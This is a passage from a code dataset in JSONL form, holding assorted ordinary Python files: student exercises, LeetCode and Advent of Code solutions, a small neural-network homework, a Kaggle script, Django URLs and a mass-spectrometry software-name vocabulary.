choices\")\nplt.show()","sub_path":"Homework10/Programming1.py","file_name":"Programming1.py","file_ext":"py","file_size_in_byte":6475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"426558162","text":"from random import choice\n\n\ndef get_jokes(repeat=False):\n \"\"\"\n Функция формирует случайные шутки, собранные из трех слов трех списков\n :return: возвращает шутку\n :param repeat: повторение слов в шутках\n \"\"\"\n nouns = [\"автомобиль\", \"лес\", \"огонь\", \"город\", \"дом\"]\n adverbs = [\"сегодня\", \"вчера\", \"завтра\", \"позавчера\", \"ночью\"]\n adjectives = [\"веселый\", \"яркий\", \"зеленый\", \"утопичный\", \"мягкий\"]\n joke = []\n joke.append(f\"{choice(nouns)} {choice(adverbs)} {choice(adjectives)}\")\n return joke\n\n\nprint(get_jokes(True))\n","sub_path":"practice 3 Z_5.py","file_name":"practice 3 Z_5.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"459566944","text":"n = int(input())\ntwo = 0\nthree = 0\nfour = 0\nfor i in range(0, n):\n num = int(input())\n if num % 4 == 0:\n four += 1\n if num % 2 == 0:\n two += 1\n if num % 3 == 0:\n three += 1\np2 = (two / n) * 100\np3 = (three / n) * 100\np4 = (four / n) * 100\nprint(f\"{p2:.2f}%\")\nprint(f\"{p3:.2f}%\")\nprint(f\"{p4:.2f}%\")","sub_path":"PythonBasics/For_Loops_Ex/Divide_without_remainder.py","file_name":"Divide_without_remainder.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"153721113","text":"\nimport sys\nimport argparse\nimport pandas\n\nimport naive\n\ndef print_predictions(daily_predictions, intraday_predictions):\n num_stocks_daily = daily_predictions.shape[1]\n num_stocks_intraday = intraday_predictions.shape[1]\n if num_stocks_daily != num_stocks_intraday:\n print('''ERROR in 'print_predictions': # stocks in daily predictions\n don't match # stocks in intraday predictions''')\n sys.exit(2)\n print('Id,Predicted')\n for Id in range(1, num_stocks_daily+1):\n for i, ret in enumerate(intraday_predictions[Id]):\n print(\"{}_{},{:f}\".format(Id, i+1, ret))\n for i, ret in enumerate(daily_predictions[Id]):\n print(\"{}_{},{:f}\".format(Id, i+61, ret))\n\ndef error(observed_intraday, observed_daily, predicted_intraday,\n predicted_daily, weight_intraday, weight_daily):\n\n error_intraday = abs(observed_intraday - predicted_intraday)\n error_intraday = error_intraday.mul(weight_intraday).sum().sum()\n error_intraday /= predicted_intraday.size\n\n error_daily = abs(observed_daily - predicted_daily)\n error_daily = error_daily.mul(weight_daily).sum().sum()\n error_daily /= predicted_daily.size\n\n return error_intraday + error_daily\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description='Kaggle Winton challenge')\n parser.add_argument('-g', '--goal', choices=['train', 'test'], required=True)\n parser.add_argument('-m', '--model', choices=['naive'], required=True)\n args = parser.parse_args()\n\n if args.model == 'naive':\n predict = naive.Naive.predict\n\n if args.goal == 'train':\n file_ = 'train.csv'\n elif args.goal == 'test':\n file_ = 'test.csv'\n\n data = pandas.read_csv(file_, index_col=0).transpose()\n features = data.iloc[:25]\n past_daily_returns = data.iloc[25:27]\n past_intraday_returns = data.iloc[27:]\n\n intraday_predictions, daily_predictions = \\\n predict(features, past_daily_returns, past_intraday_returns)\n\n if args.goal == 'train':\n future_intraday_returns = data.iloc[146:206]\n future_daily_returns = data.iloc[206:208]\n weight_intraday = data.iloc[208]\n weight_daily = data.iloc[209]\n\n e = error(future_intraday_returns, future_daily_returns,\n intraday_predictions, daily_predictions, weight_intraday, weight_daily)\n print('error: {}'.format(e))\n\n elif args.goal == 'test':\n print_predictions(daily_predictions, intraday_predictions)\n\n","sub_path":"winton/winton.py","file_name":"winton.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"189563079","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom functools import lru_cache\n\n\n@lru_cache(maxsize=None)\ndef _nxt(cur: int, depth: int, step: int) -> (int, int):\n if cur == 0 and step == -1:\n return 1, 1\n elif cur == depth - 1 and step == 1:\n return depth - 2, -1\n else:\n return cur + step, step\n\n\ndef _move_scanner(firewall: dict) -> dict:\n for layer, (scanner, depth, step) in filter(lambda x: x[1] is not None, firewall.items()):\n scanner, step = _nxt(scanner, depth, step)\n firewall[layer] = (scanner, depth, step)\n return firewall\n\n\ndef _cross(firewall: dict, wait: int=0) -> int:\n for _ in range(wait):\n firewall = _move_scanner(firewall)\n cnt = -1\n for i in range(len(firewall)):\n if firewall[i] is not None:\n scanner, depth, _ = firewall[i]\n if scanner == 0:\n if cnt == -1:\n cnt = 0\n cnt += i * depth\n firewall = _move_scanner(firewall)\n return cnt\n\n\ndef part1(firewall: dict) -> int:\n cnt = _cross(dict(firewall))\n return max(cnt, 0)\n\n\n@lru_cache(maxsize=None)\ndef _caught(cur: int, depth: int, step: int, delta: int) -> bool:\n for _ in range(delta):\n cur, step = _nxt(cur, depth, step)\n return cur == 0\n\n\ndef part2(firewall: dict) -> int:\n n = 0\n firewall = dict(firewall)\n scanned_levels = [ k for k, _ in filter(lambda x: x[1] is not None, firewall.items()) ]\n while True:\n n += 1\n firewall = _move_scanner(firewall)\n for layer, (cur, depth, step) in map(lambda x: (x, firewall[x]), scanned_levels):\n if _caught(cur, depth, step, layer):\n break\n else:\n return n\n\n\nif __name__ == '__main__':\n with open('input.txt') as f:\n layers = { k: v for k, v in map(lambda l: map(int, l.split(': ')), f.read().splitlines()) }\n firewall = { n: (0, layers[n], 1) if n in layers else None for n in range(max(layers.keys()) + 1) }\n print(part1(firewall)) # 1904\n print(part2(firewall)) # 3833504\n","sub_path":"2017/day_13/13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"352643700","text":"import sys\nimport numpy as np\nimport os\nfrom model.model import *\nfrom model.uaspp import uaspp\n\ninit_model = './checkpoint'\n#init_model = None\n\nbase_lr = 1e-3\n#base_lr = 1e-3\nepochs = 6\nnet = hello46\n#net = hole46\n# net = unet \n# net = mp\n# net = uaspp\nis_flip, is_scaling, is_crop = 1, 0, 1\n\nif not sys.platform == 'win32':\n log_period, checkpoint_period = 100, 100\n #crop_shape = [512, 512]\n crop_shape = [576, 576]\n data_len = 60000\n ########1060########\n train_shape, batch_size = (512, 512), 2\n\n ########1080########\n # train_shape, batch_size = (512, 1024), 2\n\nelse:\n ########wins########\n log_period, checkpoint_period = 1, 20\n crop_shape = [32, 64]\n data_len = 10\n train_shape, batch_size = (128, 256), 3\n \n\ncheckpoint_path = './checkpoint'\nuse_gpu = False if sys.platform == 'win32' else True\npower = 0.9\nnum_classes = 8\nimg_mean = np.array([[[0.5, 0.5, 0.5]]], dtype=np.float32)\n# img_mean = np.array([[[0.35012836, 0.38039978, 0.40510766]]], dtype=np.float32)\n\n","sub_path":"configs.py","file_name":"configs.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"107376853","text":"import sys\r\nimport math\r\nimport random\r\n\r\ncaseFile = open(sys.argv[1], 'r')\r\ncaseList = [line.strip().split(' ') for line in caseFile]\r\nfor i in caseList: i.remove('=>')\r\ncases = {tuple([float(k) for k in i[:len(i)-1]]): float(i[len(i)-1]) for i in caseList}\r\ncaseIDs = [[float(k) for k in i[:len(i)-1]] for i in caseList]\r\ntargetList = [cases[key] for key in cases]\r\nerrList = [10, 10, 10, 10]\r\n#print('CASES: {}\\n CASEIDS: {}\\n TARGETLIST: {}\\n'.format(cases, caseIDs, targetList))\r\n\r\nnodeStruct = [[1, 1, 1], # inputs\r\n [0, 0], # layer 1 cells\r\n [0]] # layer 2\r\n\r\n# w11, w21, w31, w12, w22, w32\r\nweightStruct = [[1, 0, 1, 0, 1, 0],\r\n [0, 1],\r\n [1]]\r\n\r\n\r\ndef transfer(n): # transfer function for neural network\r\n return 1/(1 + math.exp(-n))\r\n\r\n\r\ndef transDeriv(n): # derivative of that function\r\n return n*(1-n)\r\n\r\n\r\ndef dot(v1, v2): #v1 and v2 are same sized lists\r\n return sum(hadamard(v1, v2))\r\n\r\n\r\ndef hadamard(v1, v2):\r\n productList = []\r\n for k in range(len(v1)):\r\n productList.append(v1[k] * v2[k])\r\n return productList\r\n\r\n\r\ndef determineCells(inputs, weightLayer):\r\n numInputs = len(inputs)\r\n numCells = int(len(weightLayer)/numInputs)\r\n indexList = []\r\n for k in range(numCells):\r\n indexList.append(weightLayer[k*numInputs:k*numInputs + numInputs])\r\n cellList = []\r\n for k in indexList:\r\n cellList.append(transfer(dot(inputs, k)))\r\n return cellList\r\n\r\n\r\ndef feedForward(inputs, weightList):\r\n #print('INPUTS', inputs)\r\n currentCells = inputs\r\n nodeStruct = []\r\n for layer in range(len(weightList) - 1):\r\n nodeStruct.append(currentCells)\r\n currentCells = determineCells(currentCells, weightList[layer])\r\n nodeStruct.append(currentCells)\r\n finalWeights = weightList[len(weightList)-1]\r\n outputs = [currentCells[k]*finalWeights[k] for k in\r\n range(len(currentCells))]\r\n nodeStruct.append(outputs)\r\n #print('NODES FF', nodeStruct)\r\n return nodeStruct, outputs\r\n\r\n\r\ndef calcError(target, result):\r\n return .5*(target - result)**2\r\n\r\n\r\ndef calcErrorList(errList):\r\n return sum(errList)/len(errList)\r\n\r\n\r\ndef backProp(nodeStruct, weights, target, alpha):\r\n #print('NODES', nodeStruct)\r\n newWeights = [[*w] for w in weights]\r\n errStruct = [[*nodes] for nodes in nodeStruct]\r\n errStruct[3][0] = target - errStruct[3][0]\r\n #print(errStruct)\r\n #print('previousErrNode {} weight {} node {}'.format(errStruct[3][0], weights[2][0], transDeriv(errStruct[2][0])))\r\n errStruct[2][0] = errStruct[3][0]*weights[2][0]*transDeriv(errStruct[2][0])\r\n #print(errStruct)\r\n errStruct[1][0] = errStruct[2][0]*weights[1][0]*transDeriv(errStruct[1][0])\r\n #print(errStruct)\r\n errStruct[1][1] = errStruct[2][0]*weights[1][1]*transDeriv(errStruct[1][1])\r\n #print('ERRSTRUCT', errStruct)\r\n\r\n #print('ERR {} NODE {}'.format(errStruct[2][0], nodeStruct[1][0]))\r\n '''\r\n gradient = [[nodeStruct[0][1]*errStruct[1][0], nodeStruct[0][2]*errStruct[1][0], nodeStruct[0][0]*errStruct[1][0],\r\n nodeStruct[0][0] * errStruct[1][1], nodeStruct[0][1]*errStruct[1][1], nodeStruct[0][2]*errStruct[1][1]],\r\n [nodeStruct[1][0] * errStruct[2][0], nodeStruct[1][1]*errStruct[2][0]], [nodeStruct[2][0]*errStruct[3][0]]]\r\n print('GRADIENT', gradient)\r\n '''\r\n newWeights[2][0] = nodeStruct[2][0]*errStruct[3][0]*alpha+weights[2][0]\r\n newWeights[1][0] = nodeStruct[1][0]*errStruct[2][0]*alpha+weights[1][0]\r\n newWeights[1][1] = nodeStruct[1][1]*errStruct[2][0]*alpha+weights[1][1]\r\n newWeights[0][0] = nodeStruct[0][0]*errStruct[1][0]*alpha+weights[0][0]\r\n newWeights[0][1] = nodeStruct[0][1]*errStruct[1][0]*alpha+weights[0][1]\r\n newWeights[0][2] = nodeStruct[0][2]*errStruct[1][0]*alpha+weights[0][2]\r\n newWeights[0][3] = nodeStruct[0][0]*errStruct[1][1]*alpha+weights[0][3]\r\n newWeights[0][4] = nodeStruct[0][1]*errStruct[1][1]*alpha+weights[0][4]\r\n newWeights[0][5] = nodeStruct[0][2]*errStruct[1][1]*alpha+weights[0][5]\r\n\r\n #print('NODE STRUCT', nodeStruct)\r\n #print('ERR STRUCT', errStruct)\r\n #print('NEW WEIGHTS', newWeights)\r\n\r\n return newWeights\r\n\r\n\r\ndef randomGenerateWeights(weights):\r\n for layer in weights:\r\n for weight in range(len(layer)):\r\n layer[weight] = random.randint(-2, 2)\r\n return weights\r\n\r\n#weightStruct = randomGenerateWeights(weightStruct)\r\nminError = 1\r\nminWeights = []\r\nminTestNum = 0\r\nminErrList = []\r\nminFF = []\r\nalpha = 1\r\nfor k in range(200000):\r\n inputs = caseIDs[k%len(caseIDs)].copy() # k%len(caseIDs) is number case on\r\n inputs.append(1)\r\n #print('INP', inputs)\r\n initialNodes, result = feedForward(inputs, weightStruct)\r\n result = result[0]\r\n err = calcError(targetList[k%len(caseIDs)], result)\r\n errList[k%len(caseIDs)] = err\r\n totalErr = calcErrorList(errList)\r\n newWeights = backProp(initialNodes, weightStruct, targetList[k%len(caseIDs)], alpha)\r\n weightStruct = newWeights\r\n tempNodes, checkResult = feedForward(inputs, newWeights)\r\n checkResult = checkResult[0]\r\n err = calcError(targetList[k%len(caseIDs)], checkResult)\r\n tempErrList = [err for err in errList]\r\n tempErrList[k%len(caseIDs)] = err\r\n newErr = calcErrorList(tempErrList)\r\n alpha = 0.1 - .01 * newErr\r\n #print('\\n NODES: {} \\nWEIGHTS {} \\nERRORS {}'.format(tempNodes, newWeights, errList))\r\n #if k - reset > 20000:\r\n # weightStruct = randomGenerateWeights(weightStruct)\r\n #print('TESTNUM: {} newErr: {}'.format(k, newErr))\r\n if k - minTestNum > 20000:\r\n weightStruct = randomGenerateWeights(weightStruct)\r\n if newErr < minError:\r\n minError = newErr\r\n minWeights = newWeights\r\n minTestNum = reset = k\r\n minErrList = errList\r\n minFF = initialNodes\r\n #print('TEST NUM:', k)\r\n if newErr < .01:\r\n #print('minFF: ', minFF)\r\n #print('Errors: ', minErrList)\r\n print('layer cts: [3, 2, 1, 1]')\r\n for layer in newWeights:\r\n print(layer)\r\n quit()\r\n #print('newERR: {} ERRLIST: {}'.format(newErr, errList))\r\n #for layer in newWeights:\r\n # print(layer)\r\n\r\n\r\nprint('Error:', minError)\r\nprint('layer cts: [3, 2, 1, 1]')\r\nfor layer in minWeights:\r\n print(layer)","sub_path":"10 back propagation/bp2.py","file_name":"bp2.py","file_ext":"py","file_size_in_byte":6357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"630282305","text":"'''\nCreated 2017-09-21 15:19:44-04:00\n@author: jzacsh@gmail.com\n'''\n\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D # needed for param plot='3d' below\nfrom scipy.optimize import minimize\nfrom matplotlib import pyplot\n\ndef buildOutputLayer(inputs, weights, bias):\n \"\"\" computes the basic `w*x + b` output layer \"\"\"\n dotProd = np.dot(inputs, weights)\n return dotProd + bias\n\ndef computeOutputLayerDistances(inputs, outputs, weights, bias):\n \"\"\" computes the basic `w*x + b - y` result \"\"\"\n return buildOutputLayer(inputs, weights, bias) - outputs\n\ndef costsViaSquare(inputs, outputs, weights, bias):\n return np.square(computeOutputLayerDistances(inputs, outputs, weights, bias))\n\ndef costsViaAbsVal(inputs, outputs, weights, bias):\n return np.absolute(computeOutputLayerDistances(inputs, outputs, weights, bias))\n\ndef logisticSigmoid(x):\n return 1/(1+np.exp(-x))\n\ndef crossEntropyParts(Ys, probabilities):\n oneMinus = (1-Ys)*np.log(1 - probabilities)\n yTimes = ( Ys)*np.log( probabilities)\n return -1*(np.sum(oneMinus) + np.sum(yTimes))\n\ndef costsViaCrossEntropy(inputs, outputs, weights, bias):\n layerOut = buildOutputLayer(inputs, weights, bias)\n return crossEntropyParts(outputs, logisticSigmoid(layerOut))\n\nclass TrainingSet:\n def __init__(self, projectTitle, inputs, labels, debugMode=False):\n self.projectName = projectTitle\n self.debugMode = debugMode\n self.inputs = np.array(inputs)\n self.labels = np.array(labels)\n self.weightCount = self.inputs.shape[1] if self.inputs.shape[1] else 1\n\n if self.debugMode:\n print(\"constructing trainer given %dx%x inputs, %dx%d expected output matrices\" % (\n self.inputs.shape[0], self.inputs.shape[1],\n self.labels.shape[0], self.labels.shape[1]))\n\n def costhandler(self, weightsAndBias):\n \"\"\"Handler for numpy's minimize() function\"\"\"\n wbli = weightsAndBias.tolist()\n weights = np.array(wbli[:self.weightCount]).reshape(self.weightCount, 1)\n bias = wbli[self.weightCount]\n if self.debugMode:\n print(\"[dbg] ...minimizing... weights=[%0.02f, %0.02f], bias=%0.03f\"%(\n weights[0, 0], weights[1, 0], bias))\n return self.costof(weights, bias)\n\n def costof(self, weights, bias):\n \"\"\"calculates cost using default methodology\"\"\"\n return costsViaCrossEntropy(self.inputs, self.labels, weights, bias)\n\n def randGuessMimizes(self):\n \"\"\"returns \"optimal\" weight, bias, success (ie: whether vals are trustworthy)\"\"\"\n if self.debugMode:\n print(\n \"random guessing & minimizing.... Knowns are\\n\\tx: %s\\n\\ty: %s\"\n %(self.inputs, self.labels))\n\n for i in range(0, 5):\n ithGuess = np.random.randn(2) # two guesses: one for weight, one for bias\n res = self.minimize(ithGuess)\n if self.debugMode:\n print(\"\\tminimized: %s\\t[init guess #%d: %s]\" %(res.x, i, ithGuess))\n\n # whatever the last mimizer returned\n return cleanMinim(res, self.weightCount)\n\n def minimize(self, initialGuess, minimAlgo='Nelder-Mead'):\n \"\"\"\n the dimension of initialGuess determines the number of free variables\n the minimizer will search for\n\n NOTE: initial guess should contain weights, and bias as the final value\n \"\"\"\n if self.debugMode:\n print(\"... scipy.optimize minimizing (%s) on %s Wv,b free vars [initial=%s]\"%(\n minimAlgo, initialGuess.shape, initialGuess))\n return minimize(self.costhandler, initialGuess, method=minimAlgo)\n\n def buildRandomTrainer(setsize=2):\n inputs = np.random.randn(setsize) * 10 # entry-wise multiply by 10\n # see: https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.shape.html\n #print(\"x scalars, of shape: %s\\n%s\" % (inputs.shape, inputs))\n\n # labels subset of {1, -1}\n labels = 2*np.random.randint(size=setsize, low=0, high=2)-1\n #print(\"y scalars, of shape: %s\\n%s\" % (labels.shape, labels))\n return TrainingSet(inputs, labels)\n\n def printReport(self, optimalWeights, optimalBias, minimOK):\n weightsStr = floatsToStr(optimalWeights)\n\n print(\"\"\"RESULT: \"%s\" set's cost was %0.05f; for minimization:\n (optimal) weights = [%s]\n (optimal) bias = %0.04f\n minimizer success : %s\\n\"\"\" % (\n self.projectName,\n self.costof(optimalWeights, optimalBias),\n weightsStr, optimalBias,\n minimOK\n ))\n\n def printManualLayers(self, weights, bias, resultCaster):\n print(\"\"\" X, \"w*X\", \"w*X\"+b, probability, cost, expected, answer\\n%s\\n\"\"\"%(\"=\"*79))\n for idx, inp in enumerate(self.inputs):\n x, y = [inp, self.labels[idx]]\n weighted = np.dot(x, weights)\n wxPlusB = weighted+bias\n probability = logisticSigmoid(wxPlusB)\n cost = crossEntropyParts(y, probability)\n print(\"%5s, %6.6f, %6.6f, %02.10f, %02.10f, %8s, %0.1d\\n\" %(\n x,\n weighted, # w*x\n wxPlusB, # w*x+b\n probability, # sigmoid(w*x+b)\n cost, # cost(w*x+b) that influenced minimization\n y, # expected\n resultCaster(probability)))\n\ndef floatsToStr(flts):\n def printFlt(flt): return \"%0.02f\" % flt\n return \", \".join(map(printFlt, flts))\n\ndef cleanMinim(minimizerResult, weightCount=1):\n \"\"\"returns \"optimal\" weight, bias, success (ie: whether vals are trustworthy)\"\"\"\n results = minimizerResult.x.tolist()\n weights = results[:weightCount]\n bias = results[weightCount]\n return [weights, bias, minimizerResult.success]\n\ndef generateWeightBiasSpace(weight, bias):\n sampleFrom = -3\n sampleTo = (sampleFrom) * -1\n sampleRate = 0.5\n\n print(\"\\tgenerating weights & biases\\n\\t\\t%.2f <- {weight=%0.3f, bias=%0.3f} -> %.2f @%.3f steps\\n\"%(\n sampleFrom, weight, bias, sampleTo, sampleRate))\n return np.meshgrid(\n np.arange(weight+sampleFrom,weight+sampleTo,sampleRate),\n np.arange(bias+sampleFrom,bias+sampleTo,sampleRate))\n\ndef learnTruthTable(binaryOp, truthTableName, resultCaster):\n print(\"\\nLearning to produce: %s...\\n\" % (binaryOp))\n xorinputs = np.array([\n 0, 0,\n 0, 1,\n 1, 0,\n 1, 1\n ]).reshape(4,2)\n xoroutputs = np.array(binaryOp).reshape(4,1)\n set = TrainingSet(\n truthTableName + \" Truth Table\",\n xorinputs,\n xoroutputs, debugMode=False)\n optimalWeights, optimalBias, minimOK = cleanMinim(\n set.minimize(np.array([1, 1, 1])), set.weightCount)\n\n set.printReport(optimalWeights, optimalBias, minimOK)\n print(\"\"\"Manually running said bias & weights, with cost = %0.05f (via cross-entropy fn)\n \"\"\" % (costsViaCrossEntropy(\n set.inputs,\n set.labels,\n optimalWeights,\n optimalBias)))\n set.printManualLayers(optimalWeights, optimalBias, resultCaster)\n\ndef main():\n learnTruthTable([0, 1, 1, 0], \"XOR\", lambda wxPlusB: round(wxPlusB))\n learnTruthTable([0, 1, 1, 1], \"OR\", lambda wxPlusB: round(wxPlusB))\n learnTruthTable([0, 0, 0, 1], \"AND\", lambda wxPlusB: round(wxPlusB))\n\nif __name__ == '__main__':\n main()\n","sub_path":"lab/hw02.py","file_name":"hw02.py","file_ext":"py","file_size_in_byte":7421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"13386607","text":"#\n# @lc app=leetcode id=54 lang=python\n#\n# [54] Spiral Matrix\n#\n# https://leetcode.com/problems/spiral-matrix/description/\n#\n# algorithms\n# Medium (30.41%)\n# Likes: 1064\n# Dislikes: 405\n# Total Accepted: 233K\n# Total Submissions: 766.2K\n# Testcase Example: '[[1,2,3],[4,5,6],[7,8,9]]'\n#\n# Given a matrix of m x n elements (m rows, n columns), return all elements of\n# the matrix in spiral order.\n# \n# Example 1:\n# \n# \n# Input:\n# [\n# ⁠[ 1, 2, 3 ],\n# ⁠[ 4, 5, 6 ],\n# ⁠[ 7, 8, 9 ]\n# ]\n# Output: [1,2,3,6,9,8,7,4,5]\n# \n# \n# Example 2:\n# \n# Input:\n# [\n# ⁠ [1, 2, 3, 4],\n# ⁠ [5, 6, 7, 8],\n# ⁠ [9,10,11,12]\n# ]\n# Output: [1,2,3,4,8,12,11,10,9,5,6,7]\n# \n#\nclass Solution(object):\n # solution 2: Your runtime beats 98.87 % of python submissions\n # 22/22 cases passed (16 ms)\n # Your runtime beats 72.82 % of python submissions\n # Your memory usage beats 40.26 % of python submissions (13.5 MB)\n def spiralOrder(self, matrix):\n # return matrix and list(matrix.pop(0)) + self.spiralOrder(zip(*matrix)[::-1])\n result = []\n if not matrix or len(matrix[0])==0:\n return result \n \n m,n=len(matrix), len(matrix[0])\n row, col = 0,-1\n\n while True:\n # go right\n for i in range(n):\n col +=1\n result.append(matrix[row][col])\n \n m = m -1\n if m == 0:\n break\n # go down\n for i in range(m):\n row += 1\n result.append(matrix[row][col])\n \n n = n -1\n if n==0:\n break\n\n # go left\n for i in range(n):\n col -= 1\n result.append(matrix[row][col])\n \n m -= 1\n if m ==0:\n break\n\n # go up\n for i in range(m):\n row -= 1\n result.append(matrix[row][col])\n \n n -= 1\n if n==0:\n break\n \n return result\n\n\n\n\n\n '''\n # solution 1: Your runtime beats 68.81 % of python submissions\n def spiralOrder(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: List[int]\n \"\"\"\n if not matrix or len(matrix)==0 or len(matrix[0])==0:\n return []\n up, left = 0,0\n down = len(matrix)-1\n right = len(matrix[0])-1\n direct = 0 # 0: go right 1: go down 2: go left 3: go up\n res = []\n while True:\n if direct == 0:\n for i in range(left, right+1):\n res.append(matrix[up][i])\n up += 1\n if direct == 1:\n for i in range(up, down+1):\n res.append(matrix[i][right])\n right -= 1\n if direct == 2:\n for i in range(right, left-1, -1):\n res.append(matrix[down][i])\n down -= 1\n if direct == 3:\n for i in range(down, up-1, -1):\n res.append(matrix[i][left])\n left += 1\n if up > down or left > right: \n return res\n direct = (direct+1) % 4\n '''\n \n \n\n\n","sub_path":"Python/54.spiral-matrix.py","file_name":"54.spiral-matrix.py","file_ext":"py","file_size_in_byte":3316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"152687256","text":"l=list(eval(input()))\nl.sort()\nif len(l)<=2:\n print([0,0])\nelse:\n Max=max([l[-2]-l[0],l[-1]-l[1]])+2-len(l)\n tmp=0\n i=0\n for j in range(len(l)):\n while l[j]-l[i]>len(l):\n i+=1\n if l[j]-l[i]+1==len(l)-1 and j-i+1==len(l)-1:\n tmp=min(2,tmp)\n else:\n tmp=min(len(l)-(j-i+1),tmp)\n print([tmp,Max])","sub_path":"Code/CodeRecords/2642/61132/293209.py","file_name":"293209.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"159913441","text":"from django.conf.urls import url\n\nfrom . import views\n\napp_name = 'balanceapp'\n\nurlpatterns = [\n url(r'^$', views.Login, name='Login'),\n url(r'^login/$', views.Login, name='Login'),\n url(r'^logout/$', views.Logout, name='Logout'),\n url(r'^home/$', views.Home, name='Home'),\n url(r'^history/$', views.History, name='History'),\n url(r'^(?P<value_id>[0-9]+)/$', views.History, name=\"History\"),\n url(r'^addvalue/$', views.AddValue, name='AddValue'),\n]","sub_path":"balanceapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"534441400","text":"from .cv import Term, TermSet\n\n\nclass SoftwareName(Term):\n pass\n\n\nclass Software(object):\n\n @classmethod\n def is_name(cls, name):\n return name in software_names_by_name\n\n def __init__(self, name=None, id=None, version=None, **options):\n if name is None:\n name, options = self._resolve_name_from_kwargs(options)\n if name is None and id is not None:\n name = id\n self.name = name\n self.id = id or name\n self.version = version\n self.options = options\n\n def _resolve_name_from_kwargs(self, options):\n names = dict()\n not_names = dict()\n for key, value in options.items():\n if self.is_name(key):\n names[key] = value\n else:\n not_names[key] = value\n options = not_names\n if len(names) == 1:\n name = list(names.keys())[0]\n elif len(names) == 0:\n name = None\n else:\n raise ValueError(\"Multiple possible names found\")\n return name, options\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n template = '{self.__class__.__name__}({self.name}, {self.id}, {self.version})'\n return template.format(self=self)\n\n def __eq__(self, other):\n try:\n return self.name == other.name\n except AttributeError:\n return str(self) == str(other)\n\n\nsoftware_names = []\n\n# [[[cog\n# import cog\n# from ms_deisotope.data_source.metadata.cv import render_list\n# render_list('software', list_name='software_names', term_cls_name=\"SoftwareName\", writer=cog.out)\n# ]]]\nsoftware_names = TermSet([\n SoftwareName(u'SCiLS software', u'MS:1002383',\n (u'SCiLS software for data acquisition and analysis.'),\n 'software',\n [u'software']),\n SoftwareName(u'acquisition software', u'MS:1001455',\n (u'Acquisition software.'),\n 'software',\n [u'software']),\n SoftwareName(u'data processing software', u'MS:1001457',\n (u'Data processing software.'),\n 'software',\n [u'software']),\n SoftwareName(u'analysis software', u'MS:1001456',\n (u'Analysis software.'),\n 'software',\n [u'software']),\n SoftwareName(u'SCIEX software', u'MS:1000690',\n (u'SCIEX or Applied Biosystems software for data acquisition'\n u'and analysis.'),\n 'software',\n [u'software']),\n SoftwareName(u'Applied Biosystems software', u'MS:1000691',\n (u'Applied Biosystems|MDS SCIEX software for data acquisition'\n u'and analysis.'),\n 'software',\n [u'software']),\n SoftwareName(u'Bruker software', u'MS:1000692',\n (u'Bruker software for data acquisition and analysis.'),\n 'software',\n [u'software']),\n SoftwareName(u'Thermo Finnigan software', u'MS:1000693',\n (u'Thermo Finnigan software for data acquisition and analysis.'),\n 'software',\n [u'software']),\n SoftwareName(u'Waters software', u'MS:1000694',\n (u'Waters software for data acquisition and analysis.'),\n 'software',\n [u'software']),\n SoftwareName(u'SRM software', u'MS:1000871',\n (u'Software used to predict, select, or optimize transitions or'\n u'analyze the results of selected reaction monitoring runs.'),\n 'software',\n [u'software']),\n SoftwareName(u'peptide attribute calculation software', u'MS:1000873',\n (u'Software used to predict or calculate numerical attributes'\n u'of peptides.'),\n 'software',\n [u'software']),\n SoftwareName(u'Agilent software', u'MS:1000689',\n (u'Agilent software for data acquisition and analysis.'),\n 'software',\n [u'software']),\n SoftwareName(u'quantitation software name', u'MS:1001139',\n (u'Quantitation software name.'),\n 'software',\n [u'software', u'quantification information']),\n SoftwareName(u'LECO software', u'MS:1001798',\n (u'LECO software for data acquisition and analysis.'),\n 'software',\n [u'software']),\n SoftwareName(u'custom unreleased software tool', u'MS:1000799',\n (u'A software tool that has not yet been released. The value'\n u'should describe the software. Please do not use this term'\n u'for publicly available software - contact the PSI-MS working'\n u'group in order to have another CV term added.'),\n 'software',\n [u'software']),\n SoftwareName(u'BSI software', u'MS:1001949',\n (u'Bioinformatics Solutions Inc. Software for data processing'\n u'and analysis.'),\n 'software',\n [u'software']),\n SoftwareName(u'Shimadzu Corporation software', u'MS:1001557',\n (u'Shimadzu Corporation software.'),\n 'software',\n [u'software']),\n SoftwareName(u'SCiLS Lab', u'MS:1002384',\n (u'SCiLS Lab software.'),\n 'software',\n [u'SCiLS software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Analyst', u'MS:1000551',\n (u'SCIEX or Applied Biosystems|MDS SCIEX software for data'\n u'acquisition.'),\n 'software',\n [u'SCIEX software', u'acquisition software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'apexControl', u'MS:1000706',\n (u'Bruker software for data acquisition.'),\n 'software',\n [u'Bruker software', u'acquisition software', u'software']),\n SoftwareName(u'MALDI Solutions LC-MALDI', u'MS:1002381',\n (u'Software for automated LC-MALDI analysis and reporting.'),\n 'software',\n [u'acquisition software', u'analysis software', u'data processing software', 